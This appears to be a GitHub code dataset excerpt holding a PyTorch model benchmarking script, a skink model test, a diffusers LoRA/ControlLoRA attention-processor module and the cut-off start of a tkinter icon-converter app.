eightbit_compile(copy.deepcopy(standard_model)), # model\r\n None, # FP32_precision\r\n False, # FP16_precision\r\n True)) # INT8_precision\r\n\r\n return result\r\n\r\ndef run_speed_benchmark_tests(\r\n model_list: List[ModelInfo], \r\n df: pd.DataFrame) -> None:\r\n \r\n batch_size_subset = BATCH_SIZES\r\n if device.type == 'cpu':\r\n batch_size_subset = BATCH_SIZES[:BATCH_SIZES.index(CPU_MAX_BATCH_SIZE) + 1]\r\n\r\n for model_item in model_list:\r\n\r\n print(f\"Starting Speed Test for: {model_item.name}-{model_item.options}\")\r\n\r\n model_index = len(df) # Store the index for updating while datasets run. \r\n df.loc[model_index] = [model_item.name] + [model_item.options] + [0.0] * len(batch_size_subset)\r\n\r\n for batch_size in batch_size_subset:\r\n\r\n if model_item.FP16_precision == False and model_item.INT8_precision == False:\r\n precision_level = model_item.FP32_precision_level if model_item.FP32_precision_level else \"highest\"\r\n torch.set_float32_matmul_precision(precision_level)\r\n \r\n # Generate fuzzed data for the inputs\r\n input_shape = (batch_size, N_CHANNELS, IMG_SIZE, IMG_SIZE)\r\n\r\n if model_item.INT8_precision or device.type == 'cpu':\r\n cuda = False\r\n else:\r\n cuda = True\r\n \r\n fuzzer = benchmark.Fuzzer(\r\n parameters = [],\r\n tensors = [\r\n benchmark.FuzzedTensor(\r\n 'x', \r\n size=input_shape, \r\n dtype=torch.half if model_item.FP16_precision else torch.float32, \r\n cuda=cuda,\r\n probability_contiguous=0.6) \r\n \r\n ],\r\n seed=0,\r\n )\r\n \r\n for tensors, _, _ in fuzzer.take(1):\r\n input_data = tensors[\"x\"]\r\n \r\n # Environment Setup\r\n vars = {\r\n 'inference_test': inference_test, \r\n 'model_item': model_item, \r\n 'input_data': input_data\r\n }\r\n\r\n # Benchmark returns the time per run and handles:\r\n # Cuda Synchronization\r\n # warm up runs\r\n # multiple iterations\r\n benchmark_timer = benchmark.Timer(\r\n stmt='inference_test(model_item, input_data)',\r\n globals=vars,\r\n num_threads=1)\r\n\r\n # Get the measurement results from the benchmark\r\n benchmark_result = benchmark_timer.blocked_autorange()\r\n\r\n df.at[model_index, f\"Batch Size {batch_size} (ms)\"] = benchmark_result.median * 1000 # Convert to milliseconds\r\n\r\n print(f\"{model_item.name}-{model_item.options} ({batch_size} Batch) Time: {benchmark_result.median * 1000} ms\")\r\n print(\"\")\r\n\r\n csv_path = f'{OUT_DIR}temp_speed_results.csv'\r\n df.to_csv(csv_path, index=False)\r\n\r\n gc.collect() # This may not be necessary, but due to some segmentation faults, this is here just in case for now. \r\n \r\n print(f\"Ending Speed Test for: {model_item.name}-{model_item.options}\")\r\n\r\ndef run_accuracy_benchmark_tests(\r\n model_list: List[ModelInfo], \r\n df: pd.DataFrame) -> None:\r\n \r\n dataset = datasets.ImageNet(DATA_DIR, split='val')\r\n\r\n # Use a different seed than what was used during 8 bit quantization.\r\n dataloader = get_dataloader_subset(dataset, CPU_MAX_BATCH_SIZE, seed=99) \r\n\r\n for model_item in model_list:\r\n\r\n print(f\"Starting Accuracy Test for: {model_item.name}-{model_item.options}\")\r\n\r\n model_index = len(df) # Store the index for updating while datasets run. \r\n df.loc[model_index] = [model_item.name] + [model_item.options] + [f'{CPU_MAX_BATCH_SIZE} Batch Size']\r\n \r\n model_item.model.eval()\r\n\r\n if model_item.FP32_precision_level is not None:\r\n precision_level = model_item.FP32_precision_level if model_item.FP32_precision_level else \"highest\"\r\n torch.set_float32_matmul_precision(precision_level)\r\n\r\n # Lists to store true and predicted labels\r\n true_preds = []\r\n all_preds = []\r\n \r\n for data, labels in dataloader:\r\n\r\n if model_item.FP16_precision:\r\n data = data.half()\r\n\r\n data = data.to(device)\r\n\r\n # Forward pass through the model\r\n outputs = model_item.model(data)\r\n \r\n # Compute predicted labels (e.g., argmax for classification)\r\n _, predicted = torch.max(outputs, 1)\r\n \r\n # Collect true and predicted labels\r\n true_preds.extend(labels)\r\n all_preds.extend(predicted.to('cpu').tolist())\r\n\r\n # Compute accuracy by comparing true and predicted labels\r\n accuracy = 100 * (np.array(true_preds) == np.array(all_preds)).mean()\r\n df.at[model_index, ACCURACY_COLUMN_NAME] = accuracy\r\n\r\n csv_path = f'{OUT_DIR}temp_accuracy_results.csv'\r\n df.to_csv(csv_path, index=False)\r\n\r\n print(f\"{model_item.name}-{model_item.options} Accuracy: {accuracy}%\")\r\n print(f\"Ending Accuracy Test for: {model_item.name}-{model_item.options}\")\r\n print(\"\")\r\n\r\n gc.collect() # Using batch size 64 on the CPU, this is necessary to prevent memory issues. \r\n\r\ndef inference_test(model_item: ModelInfo, input_data) -> None:\r\n with torch.no_grad():\r\n _ = model_item.model(input_data)\r\n\r\n\r\ndef CreateBarGraph(model_name: str, input_csv: str, output_png: str):\r\n\r\n # Read data from the CSV file\r\n df = pd.read_csv(input_csv)\r\n\r\n labels = df.iloc[:, 1] \r\n\r\n # Get unique options from column 2\r\n unique_options = labels.unique()\r\n\r\n # Set up colors for each unique option\r\n colors = plt.cm.tab20.colors[:len(unique_options)]\r\n color_mapping = {option: color for option, color in zip(unique_options, colors)}\r\n\r\n # Get group names from the top of each column\r\n group_names = df.columns[2:9]\r\n\r\n # Create a figure and axis\r\n plt.figure(figsize=(12, 6)) # Set the figure size\r\n\r\n # Determine the bar width, group width, and positions\r\n group_count = len(group_names)\r\n x = np.arange(0, group_count)\r\n bars_per_group = len(unique_options)\r\n bar_width = 0.70 / bars_per_group\r\n \r\n\r\n # Create grouped bar graph with 3 bars for each unique option in each row and spaces between groups\r\n # for i, group_name in enumerate(group_names):\r\n for j, option in enumerate(unique_options):\r\n values = df[df.iloc[:, 1] == option].iloc[0, 2:9].values # Get values for each option in the row\r\n \r\n x_offset = j * bar_width \r\n plt.bar(\r\n x + x_offset,\r\n values,\r\n width=bar_width,\r\n label=f'{option}',\r\n color=color_mapping[option]\r\n )\r\n\r\n # Set x-axis ticks and labels\r\n plt.xticks(x, group_names) # Set x-axis ticks based on group names\r\n plt.gca().set_xticks(x + (bars_per_group * bar_width) / 2.0 ) # Move the ticks to the left\r\n plt.gca().set_xticklabels(group_names, rotation=45) # Set the tick labels with rotation\r\n\r\n # Set labels and title\r\n plt.xlabel('Batch Sizes')\r\n plt.ylabel('Time in ms')\r\n plt.title(f'{model_name} - Speed comparison')\r\n plt.suptitle('Speed in ms, based on batch size and compilation options', fontsize=12, fontweight='bold')\r\n\r\n # Create a legend in the upper left corner\r\n handles = [plt.Rectangle((0, 0), 1, 1, color=color_mapping[option]) for option in unique_options]\r\n plt.legend(handles, unique_options, loc='upper left')\r\n\r\n # Show the plot\r\n plt.tight_layout() # Adjust spacing for better appearance\r\n plt.savefig(output_png)\r\n\r\n\r\n## Requires that the model be on the cuda device and set to eval mode\r\ndef trt_compile(model: nn.Module, is16Bit: bool = False):\r\n precision : {torch.dtype} = {torch_tensorrt.dtype.half} if is16Bit else {torch_tensorrt.dtype.float32}\r\n\r\n trt_module = torch_tensorrt.compile(\r\n model,\r\n inputs = [\r\n torch_tensorrt.Input(\r\n min_shape=[1, N_CHANNELS, IMG_SIZE, IMG_SIZE],\r\n opt_shape=[MAX_BATCH_SIZE, N_CHANNELS, IMG_SIZE, IMG_SIZE],\r\n max_shape=[MAX_BATCH_SIZE, N_CHANNELS, IMG_SIZE, IMG_SIZE],\r\n )],\r\n enabled_precisions = precision\r\n )\r\n\r\n return trt_module\r\n\r\n\r\n# def eightbit_compile(model: nn.Module):\r\n\r\n# # Make sure we are both in eval mode, and \r\n# # that make a copy of the model so that we don't\r\n# # modify the original.\r\n# orig_model = model.eval()\r\n# model = copy.deepcopy(orig_model)\r\n\r\n# # Convert the model to an FX graph\r\n# fx_model = torch.fx.symbolic_trace(model)\r\n\r\n# qconfig = get_default_qconfig(\"fbgemm\")\r\n# qconfig_mapping = QConfigMapping().set_global(qconfig)\r\n\r\n# # Prepare the model for QAT using DataLoader to provide sample inputs\r\n# prepared_fx_model = prepare_fx(\r\n# fx_model,\r\n# qconfig_mapping,\r\n# get_sample_inputs())\r\n \r\n# prepared_fx_model = prepared_fx_model.to(device)\r\n# prepared_fx_model.eval()\r\n\r\n# quantized_model = convert_fx(prepared_fx_model)\r\n# quantized_model = quantized_model.to(device)\r\n# quantized_model.eval()\r\n \r\n# return quantized_model\r\n\r\ndef eightbit_compile(model: nn.Module):\r\n\r\n # Make sure we are both in eval mode, and \r\n # that make a copy of the model so that we don't\r\n # modify the original.\r\n model.eval()\r\n\r\n model_to_quantize = copy.deepcopy(model)\r\n model_to_quantize.eval()\r\n\r\n qconfig = get_default_qconfig(\"fbgemm\")\r\n qconfig_mapping = QConfigMapping().set_global(qconfig)\r\n\r\n # Prepare the model using DataLoader to provide sample inputs\r\n prepared_model = prepare_fx(model_to_quantize, qconfig_mapping, get_sample_inputs())\r\n \r\n # prepared_fx_model = prepared_fx_model.to(device)\r\n # prepared_fx_model.eval()\r\n\r\n quantized_model = convert_fx(prepared_model)\r\n quantized_model = quantized_model.to(device)\r\n quantized_model.eval()\r\n \r\n return quantized_model\r\n\r\ndef get_dataloader_subset(dataset: datasets.ImageNet, batch_size: int, seed: int = 42):\r\n\r\n # Select 20% of the dataset\r\n subset_fraction = 0.2 \r\n subset_size = int(len(dataset) * subset_fraction)\r\n\r\n # Create a subset of the larger dataset.\r\n torch.manual_seed(seed) \r\n indices_shuffled = torch.randperm(len(dataset))\r\n subset_indices = indices_shuffled[:subset_size]\r\n subset_dataset = Subset(dataset, subset_indices)\r\n\r\n weights = ResNet50_Weights.DEFAULT\r\n preprocess = weights.transforms()\r\n\r\n dataloader = DataLoader(\r\n subset_dataset, \r\n batch_size=batch_size, \r\n shuffle=False,\r\n pin_memory=True,\r\n collate_fn=lambda batch: (torch.stack([preprocess(item[0]) for item in batch]), [item[1] for item in batch]))\r\n \r\n return dataloader\r\n\r\ndef get_sample_inputs():\r\n\r\n # Using a different seed so that I get a different set of data to expose\r\n # the model to during quantization prep.\r\n dataset = datasets.ImageNet(DATA_DIR, split='val')\r\n dataloader = get_dataloader_subset(dataset, MAX_BATCH_SIZE, seed=99)\r\n\r\n for data, _ in dataloader:\r\n yield {'': data}\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n ","repo_name":"HuntingtonPhoenix/MentorCruise-ML","sub_path":"ClassModelSpeedTest.py","file_name":"ClassModelSpeedTest.py","file_ext":"py","file_size_in_byte":21779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19677170657","text":"from datetime import datetime\n\nimport skink.lib\nfrom base import *\nfrom skink.src.models import Project, Build\n\nstore = None\n\ndef clear():\n global store\n store = create_store()\n create_models(store)\n\ndef test_can_create_project():\n global store\n clear()\n proj = Project(name=u\"Test Project 1\", build_script=u\"test build script\", scm_repository=u\"scm_repository\", monitor_changes=False, branch=\"master\")\n\n store.add(proj)\n\n store.commit()\n\n found_proj = store.query(Project).filter(Project.name == u\"Test Project 1\").one()\n\n assert found_proj.id\n assert found_proj.id == proj.id\n\ndef test_can_create_build():\n global store\n clear()\n some_date = datetime.now()\n proj = Project(name=u\"Test Project 1\", build_script=u\"test build script\", scm_repository=u\"scm_repository\", monitor_changes=False, branch=\"master\")\n\n build = Build(number=1,\n build_date=some_date,\n status=\"Successful\",\n scm_status=\"Successful\",\n log=u\"some_log\",\n commit_number=u\"commit_number\",\n commit_author=u\"commit_author\",\n commit_committer=u\"commit_committer\",\n commit_text=u\"commit_text\",\n commit_author_date=some_date,\n commit_committer_date=some_date,\n project=proj)\n\n store.add(build)\n store.commit()\n\n found_build = store.query(Build).filter(Build.project == proj).one()\n\n assert found_build.id\n assert found_build.id == build.id\n\n assert found_build.project is proj\n\n","repo_name":"heynemann/skink","sub_path":"tests/functional/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"37"} +{"seq_id":"26514322135","text":"from dataclasses import dataclass\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom typing import Callable, Dict, List, Optional, Tuple, Union, TYPE_CHECKING\nfrom math import sqrt\nfrom collections import defaultdict\nfrom diffusers.utils import is_xformers_available\nfrom diffusers.utils.outputs import BaseOutput\nfrom diffusers.configuration_utils import ConfigMixin, register_to_config\nfrom diffusers.models.modeling_utils import ModelMixin\nfrom diffusers.models.cross_attention import (\n CrossAttention, CrossAttnProcessor, XFormersCrossAttnProcessor,\n LoRALinearLayer, LoRACrossAttnProcessor, LoRAXFormersCrossAttnProcessor)\nfrom diffusers.models import UNet2DConditionModel\nfrom diffusers.loaders import AttnProcsLayers\n\n\nif TYPE_CHECKING:\n from control_lora.models.control import ControlLoRAContainer\n\n\nif is_xformers_available():\n import xformers\n import xformers.ops\nelse:\n xformers = None\n\n\ndef parse_lora_from_layers(layers: Union[UNet2DConditionModel, AttnProcsLayers]):\n if isinstance(layers, dict):\n return layers\n if isinstance(layers, UNet2DConditionModel):\n layers = AttnProcsLayers(layers.attn_processors)\n\n state_dict = layers.state_dict()\n\n # fill attn processors\n attn_processors = {}\n\n is_lora = all(\"lora\" in k for k in state_dict.keys())\n\n if is_lora:\n lora_grouped_dict = defaultdict(dict)\n for key, value in state_dict.items():\n attn_processor_key, sub_key = \".\".join(\n key.split(\".\")[:-3]), \".\".join(key.split(\".\")[-3:])\n lora_grouped_dict[attn_processor_key][sub_key] = value\n\n for key, value_dict in lora_grouped_dict.items():\n rank = value_dict[\"to_k_lora.down.weight\"].shape[0]\n cross_attention_dim = value_dict[\"to_k_lora.down.weight\"].shape[1]\n hidden_size = value_dict[\"to_k_lora.up.weight\"].shape[0]\n\n attn_processors[key] = LoRACrossAttnProcessor(\n hidden_size=hidden_size, cross_attention_dim=cross_attention_dim, rank=rank\n )\n attn_processors[key].load_state_dict(value_dict)\n else:\n raise ValueError(\n f\"Input module does not seem to be in the correct format expected by LoRA training.\")\n\n # set correct dtype & device\n attn_processors = {k: v.to(device=layers.device, dtype=layers.dtype)\n for k, v in attn_processors.items()}\n\n return attn_processors\n\n\n@dataclass\nclass LoRAContainerOutput(BaseOutput):\n output: torch.FloatTensor\n\n\nclass LoRAContainer(ModelMixin, ConfigMixin):\n '''\n LoRA layers wrapped like ControlLoRAContainer, \n so we could train it in the control lora trainer.\n '''\n @register_to_config\n def __init__(\n self,\n block_out_channels: Tuple[int] = (320, 640, 1280, 1280),\n cross_attention_dims: Tuple[List[int]] = (\n [None, 768, None, 768, None, 768, None, 768, None, 768],\n [None, 768, None, 768, None, 768, None, 768, None, 768],\n [None, 768, None, 768, None, 768, None, 768, None, 768],\n [None, 768]\n ),\n rank=4,\n encoder_only=False\n ):\n super().__init__()\n self.block_out_channels = block_out_channels\n self.cross_attention_dims = cross_attention_dims\n self.rank = rank\n self.encoder_only = encoder_only\n self._use_memory_efficient_attention_xformers = False\n\n self.processor_layers = nn.ModuleList()\n for block_out_channel, cross_attention_dim_list in zip(block_out_channels, cross_attention_dims):\n self.processor_layers.append(\n nn.ModuleList([\n LoRACrossAttnProcessor(\n block_out_channel,\n cross_attention_dim=cross_attention_dim,\n rank=rank)\n for cross_attention_dim in cross_attention_dim_list\n ])\n )\n self.cached_unets: List[UNet2DConditionModel] = []\n\n def forward(self, x: torch.FloatTensor, return_dict: bool = True) -> Union[LoRAContainerOutput, Tuple]:\n if not return_dict:\n return (x, )\n return LoRAContainerOutput(output=x)\n\n def set_use_memory_efficient_attention_xformers(\n self, valid: bool, attention_op: Optional[Callable] = None\n ) -> None:\n if valid == self._use_memory_efficient_attention_xformers:\n return\n\n device = self.device\n dtype = self.dtype\n block_out_channels = self.block_out_channels\n cross_attention_dims = self.cross_attention_dims\n rank = self.rank\n processors_state_dict = self.processor_layers.state_dict()\n processor_cls = (\n LoRAXFormersCrossAttnProcessor\n if valid\n else LoRACrossAttnProcessor)\n kwargs = dict(attention_op=attention_op) if valid else dict()\n\n self.processor_layers = nn.ModuleList()\n for block_out_channel, cross_attention_dim_list in zip(block_out_channels, cross_attention_dims):\n self.processor_layers.append(\n nn.ModuleList([\n processor_cls(\n block_out_channel,\n cross_attention_dim=cross_attention_dim,\n rank=rank,\n **kwargs)\n for cross_attention_dim in cross_attention_dim_list\n ])\n )\n\n self.processor_layers.to(device=device, dtype=dtype)\n self.processor_layers.load_state_dict(processors_state_dict)\n self._use_memory_efficient_attention_xformers = valid\n for unet in self.cached_unets:\n self.set_as_unet_processor(unet)\n\n def set_as_unet_processor(self, unet: UNet2DConditionModel):\n n_ch = len(self.block_out_channels)\n control_ids = [i for i in range(n_ch)]\n lora_attn_procs = {}\n processor_layers_list = list(\n [list(layer_list) for layer_list in self.processor_layers])\n for name in unet.attn_processors.keys():\n if name.startswith(\"mid_block\"):\n control_id = control_ids[-1]\n elif name.startswith(\"up_blocks\"):\n block_id = int(name[len(\"up_blocks.\")])\n control_id = list(reversed(control_ids))[block_id]\n if self.encoder_only:\n lora_attn_procs[name] = (\n XFormersCrossAttnProcessor if\n self._use_memory_efficient_attention_xformers else\n CrossAttnProcessor\n )()\n continue\n elif name.startswith(\"down_blocks\"):\n block_id = int(name[len(\"down_blocks.\")])\n control_id = control_ids[block_id]\n\n processor_layers = processor_layers_list[control_id]\n if len(processor_layers) != 0:\n processor_layer = processor_layers.pop(0)\n lora_attn_procs[name] = processor_layer\n\n unet.set_attn_processor(lora_attn_procs)\n if unet not in self.cached_unets:\n self.cached_unets.append(unet)\n\n\nclass ControlLoRACrossAttnProcessor(nn.Module):\n def __init__(self, control_size, hidden_size, rank=4, concat_hidden=False):\n super().__init__()\n self.control_size = control_size\n self.hidden_size = hidden_size\n self.rank = rank\n self.control_states: torch.Tensor = None\n self.concat_hidden = concat_hidden\n\n control_in = control_size + (hidden_size if concat_hidden else 0)\n self.to_control_lora = LoRALinearLayer(control_in, hidden_size, rank)\n\n def set_control_states(self, control_states):\n self.control_states = control_states\n\n def postprocess_hidden_states(self, hidden_states):\n assert self.control_states is not None\n\n control_states = self.control_states.to(hidden_states.dtype)\n if hidden_states.ndim == 3 and control_states.ndim == 4:\n batch, _, height, width = control_states.shape\n control_states = control_states.permute(\n 0, 2, 3, 1).reshape(batch, height * width, -1)\n self.control_states = control_states\n\n b1, b2 = control_states.shape[0], hidden_states.shape[0]\n if b1 != b2: # classifier free guidance\n control_states = torch.cat([control_states]*(b2 // b1))\n\n if self.concat_hidden:\n control_states = torch.cat([hidden_states, control_states], -1)\n\n return self.to_control_lora(control_states)\n\n def __call__(\n self, attn: CrossAttention, hidden_states, encoder_hidden_states=None, attention_mask=None, scale=1.0, skip_control=False\n ):\n batch_size, sequence_length, _ = hidden_states.shape\n attention_mask = attn.prepare_attention_mask(\n attention_mask, sequence_length, batch_size)\n query = attn.to_q(hidden_states)\n query = attn.head_to_batch_dim(query)\n\n encoder_hidden_states = encoder_hidden_states if encoder_hidden_states is not None else hidden_states\n\n key = attn.to_k(encoder_hidden_states)\n value = attn.to_v(encoder_hidden_states)\n\n key = attn.head_to_batch_dim(key)\n value = attn.head_to_batch_dim(value)\n\n attention_probs = attn.get_attention_scores(query, key, attention_mask)\n hidden_states = torch.bmm(attention_probs, value)\n hidden_states = attn.batch_to_head_dim(hidden_states)\n\n # linear proj\n hidden_states_proj = attn.to_out[0](hidden_states)\n # dropout\n hidden_states = attn.to_out[1](hidden_states_proj)\n # add control\n if not skip_control:\n hidden_states = hidden_states + scale * \\\n self.postprocess_hidden_states(hidden_states)\n\n return hidden_states\n\n\nclass ControlLoRAXFormersCrossAttnProcessor(nn.Module):\n def __init__(self, control_size, hidden_size, rank=4, concat_hidden=False, attention_op: Optional[Callable] = None):\n super().__init__()\n self.control_size = control_size\n self.hidden_size = hidden_size\n self.rank = rank\n self.control_states: torch.Tensor = None\n self.concat_hidden = concat_hidden\n self.attention_op = attention_op\n\n control_in = control_size + (hidden_size if concat_hidden else 0)\n self.to_control_lora = LoRALinearLayer(control_in, hidden_size, rank)\n\n def set_control_states(self, control_states):\n self.control_states = control_states\n\n def postprocess_hidden_states(self, hidden_states):\n assert self.control_states is not None\n\n control_states = self.control_states.to(hidden_states.dtype)\n if hidden_states.ndim == 3 and control_states.ndim == 4:\n batch, _, height, width = control_states.shape\n control_states = control_states.permute(\n 0, 2, 3, 1).reshape(batch, height * width, -1)\n self.control_states = control_states\n\n b1, b2 = control_states.shape[0], hidden_states.shape[0]\n if b1 != b2: # classifier free guidance\n control_states = torch.cat([control_states]*(b2 // b1))\n\n if self.concat_hidden:\n control_states = torch.cat([hidden_states, control_states], -1)\n\n return self.to_control_lora(control_states)\n\n def __call__(\n self, attn: CrossAttention, hidden_states, encoder_hidden_states=None, attention_mask=None, scale=1.0, skip_control=False\n ):\n batch_size, sequence_length, _ = hidden_states.shape\n attention_mask = attn.prepare_attention_mask(\n attention_mask, sequence_length, batch_size)\n query = attn.to_q(hidden_states)\n query = attn.head_to_batch_dim(query).contiguous()\n\n encoder_hidden_states = encoder_hidden_states if encoder_hidden_states is not None else hidden_states\n\n key = attn.to_k(encoder_hidden_states)\n value = attn.to_v(encoder_hidden_states)\n\n key = attn.head_to_batch_dim(key).contiguous()\n value = attn.head_to_batch_dim(value).contiguous()\n\n hidden_states = xformers.ops.memory_efficient_attention(\n query, key, value, attn_bias=attention_mask, op=self.attention_op\n )\n hidden_states = attn.batch_to_head_dim(hidden_states)\n\n # linear proj\n hidden_states_proj = attn.to_out[0](hidden_states)\n # dropout\n hidden_states = attn.to_out[1](hidden_states_proj)\n # add control\n if not skip_control:\n hidden_states = hidden_states + scale * \\\n self.postprocess_hidden_states(hidden_states)\n\n return hidden_states\n\n\nclass MultiLoRACrossAttnProcessor(nn.Module):\n def __init__(\n self,\n lora_layers: Union[List[LoRACrossAttnProcessor],\n List[LoRAXFormersCrossAttnProcessor]] = [],\n lora_scales: List[Union[float, torch.Tensor]] = [],\n control_lora_layers: Union[List[ControlLoRACrossAttnProcessor],\n List[ControlLoRAXFormersCrossAttnProcessor]] = [],\n control_lora_scales: List[Union[float, torch.Tensor]] = []):\n super().__init__()\n\n assert len(lora_layers) == len(lora_scales)\n assert len(control_lora_layers) == len(control_lora_scales)\n\n self.lora_layers = nn.ModuleList(lora_layers)\n self.lora_scales = lora_scales\n self.control_lora_layers = nn.ModuleList(control_lora_layers)\n self.control_lora_scales = control_lora_scales\n self.encoder_hidden_states: List[torch.Tensor] = [\n None] * len(self.lora_layers)\n self._use_memory_efficient_attention_xformers = False\n self.cached_unets: List[UNet2DConditionModel] = []\n\n def set_lora_scales(self, lora_scales: List[Union[float, torch.Tensor]]):\n self.lora_scales = lora_scales\n\n def set_control_lora_scales(self, lora_scales: List[Union[float, torch.Tensor]]):\n self.control_lora_scales = lora_scales\n\n def set_encoder_hidden_states(self, encoder_hidden_states: List[torch.Tensor] = []):\n self.encoder_hidden_states = encoder_hidden_states\n\n def resize_lora_scale(self, hidden_states, lora_scale):\n if isinstance(lora_scale, float):\n return hidden_states\n\n lora_scale = lora_scale.to(hidden_states.dtype)\n if hidden_states.ndim == 3 and lora_scale.ndim == 4:\n batch, _, height, width = lora_scale.shape\n scale = sqrt(height * width // hidden_states.shape[1])\n lora_scale = F.interpolate(\n lora_scale, scale_factor=1 / scale, mode='bilinear', align_corners=False)\n\n lora_scale = lora_scale.permute(\n 0, 2, 3, 1).reshape(batch, height * width, -1)\n\n return lora_scale\n\n def __call__(\n self, attn: CrossAttention, hidden_states, encoder_hidden_states=None, attention_mask=None, scale=1.0\n ):\n lora_layer: Union[LoRACrossAttnProcessor,\n LoRAXFormersCrossAttnProcessor]\n control_lora_layer: Union[ControlLoRACrossAttnProcessor,\n ControlLoRAXFormersCrossAttnProcessor]\n\n hidden_states_list = []\n for lora_layer, lora_scale, cached_encoder_hidden_states in zip(\n self.lora_layers, self.lora_scales, self.encoder_hidden_states):\n cross_hidden_states = encoder_hidden_states\n if lora_layer.cross_attention_dim is not None and cached_encoder_hidden_states is not None:\n cross_hidden_states = cached_encoder_hidden_states\n hidden_states_out = self.resize_lora_scale(hidden_states, lora_scale) * lora_layer(\n attn, hidden_states, cross_hidden_states, attention_mask, scale)\n hidden_states_list.append(hidden_states_out)\n\n if len(self.lora_layers) != 0:\n hidden_states = sum(hidden_states_list)\n elif len(self.control_lora_layers) > 0:\n hidden_states = self.control_lora_layers[0](\n attn, hidden_states, encoder_hidden_states, attention_mask, scale, skip_control=True)\n\n # add control\n hidden_states_list = [0]\n for control_lora_layer, control_lora_scale in zip(\n self.control_lora_layers, self.control_lora_scales):\n hidden_states_out = self.resize_lora_scale(\n hidden_states, control_lora_scale) * control_lora_layer.postprocess_hidden_states(hidden_states)\n hidden_states_list.append(hidden_states_out)\n hidden_states = hidden_states + sum(hidden_states_list)\n\n return hidden_states\n\n @classmethod\n def set_as_unet_processor(\n cls,\n unet: UNet2DConditionModel,\n lora_layers: Union[List[AttnProcsLayers],\n List[Dict[str, LoRACrossAttnProcessor]]] = [],\n lora_scales: List[Union[float, torch.Tensor]] = [],\n control_lora_layers: List['ControlLoRAContainer'] = [],\n control_lora_scales: List[Union[float, torch.Tensor]] = []):\n lora_layers = [parse_lora_from_layers(\n layers) for layers in lora_layers]\n n_ch = len(unet.config.block_out_channels)\n control_ids = [i for i in range(n_ch)]\n lora_attn_procs = {}\n control_layers_list = [\n list(\n [list(layer_list) for layer_list in processor_layers])\n for processor_layers in control_lora_layers]\n for name in unet.attn_processors.keys():\n if name.startswith(\"mid_block\"):\n control_id = control_ids[-1]\n elif name.startswith(\"up_blocks\"):\n block_id = int(name[len(\"up_blocks.\")])\n control_id = list(reversed(control_ids))[block_id]\n elif name.startswith(\"down_blocks\"):\n block_id = int(name[len(\"down_blocks.\")])\n control_id = control_ids[block_id]\n\n lora_layer_list = [layer[name] for layer in lora_layers]\n control_lora_layer_list = []\n for processor_layers_list in control_layers_list:\n processor_layers = processor_layers_list[control_id]\n if len(processor_layers) != 0:\n processor_layer = processor_layers.pop(0)\n control_lora_layer_list.append(processor_layer)\n lora_attn_procs[name] = cls(\n lora_layer_list,\n lora_scales,\n control_lora_layer_list,\n control_lora_scales)\n\n unet.set_attn_processor(lora_attn_procs)\n\n return lora_attn_procs\n","repo_name":"across-stars/controllora_forked","sub_path":"control_lora/models/lora.py","file_name":"lora.py","file_ext":"py","file_size_in_byte":18648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25335607112","text":"import tkinter as tk\nfrom tkinter.font import Font\nfrom image_edits import *\nimport subprocess\nfrom tkinter import filedialog\nimport threading\n\n\n\"\"\"APP\"\"\"\n\n\nclass App(tk.Tk):\n def __init__(self):\n super().__init__()\n\n self.title(\"Icon Converter\")\n self.resizable(False, False)\n self.iconbitmap(\"icons/app_icon.ico\")\n\n # Runtime variables\n self.loaded_images_compressed = {} # dictionary of all loaded images, key = path, value = ImageTk object\n self.loaded_images_original = {} # Currently not used\n self.current_selected_image_path = None # Path of image that is currently selected in the edit frame\n self.current_selected_image_data = None # Currently selected image as ImageTk object\n self.display_images = True # Toggle variable for displaying images in left sidebar\n\n self.canvas_button_click = False\n self.canvas_click_x = None\n self.canvas_click_y = None\n self.crop_lines = []\n\n \"\"\"COLORS\"\"\"\n\n # Sidebar loaded image element\n self.image_bg_color = \"light grey\" # \"#adc2eb\"\n self.image_hover_color = \"#6f94dc\"\n self.image_active_color = \"#3366cc\"\n\n # Delete button of loaded image element in sidebar\n self.delete_button_hover_color = \"#ff6666\"\n self.delete_button_active_color = \"#ff3333\"\n\n # Open folder button of loaded image element in sidebar\n self.folder_button_hover_color = \"#ffad33\"\n self.folder_button_active_color = \"#ff9900\"\n\n # Ico convert button\n self.convert_button_bg_color = \"#00b386\"\n self.convert_button_hover_color = \"#00cc99\"\n self.convert_button_active_color = \"white\" # \"#00e6ac\"\n\n # Edit button\n self.edit_button_bg_color = \"#ff9933\"\n self.edit_button_hover_color = \"#ffb366\"\n\n \"\"\"IMAGES\"\"\"\n\n # Header\n self.app_logo = tk.PhotoImage(file=\"icons/app_icon_medium_1.png\")\n self.settings_icon = tk.PhotoImage(file=\"icons/settings.png\")\n self.settings_hover_icon = tk.PhotoImage(file=\"icons/settings_hover.png\")\n\n # Sidebar\n self.delete_icon = tk.PhotoImage(file=\"icons/delete.png\")\n self.folder_icon = tk.PhotoImage(file=\"icons/folder.png\")\n self.placeholder_image = tk.PhotoImage(file=\"icons/placeholder.png\")\n self.expanded_display_icon = tk.PhotoImage(file=\"icons/expanded_display.png\")\n self.compact_display_icon = tk.PhotoImage(file=\"icons/compact_display.png\")\n self.plus_icon = tk.PhotoImage(file=\"icons/plus.png\")\n\n # Image Edit\n self.crop_image = tk.PhotoImage(file=\"icons/crop.png\")\n self.crop_hover_image = tk.PhotoImage(file=\"icons/crop_hover.png\")\n\n self.rotate_left_image = tk.PhotoImage(file=\"icons/rotate_left.png\")\n self.rotate_left_hover_image = tk.PhotoImage(file=\"icons/rotate_left_hover.png\")\n self.rotate_right_image = tk.PhotoImage(file=\"icons/rotate_right.png\")\n self.rotate_right_hover_image = tk.PhotoImage(file=\"icons/rotate_right_hover.png\")\n\n self.flip_vertical_image = tk.PhotoImage(file=\"icons/flip_vertical.png\")\n self.flip_vertical_hover_image = tk.PhotoImage(file=\"icons/flip_vertical_hover.png\")\n self.flip_horizontal_image = tk.PhotoImage(file=\"icons/flip_horizontal.png\")\n self.flip_horizontal_hover_image = tk.PhotoImage(file=\"icons/flip_horizontal_hover.png\")\n\n # Footer\n self.convert_one_icon = tk.PhotoImage(file=\"icons/convert_one.png\")\n self.convert_all_icon = tk.PhotoImage(file=\"icons/convert_all.png\")\n self.arrow_image = 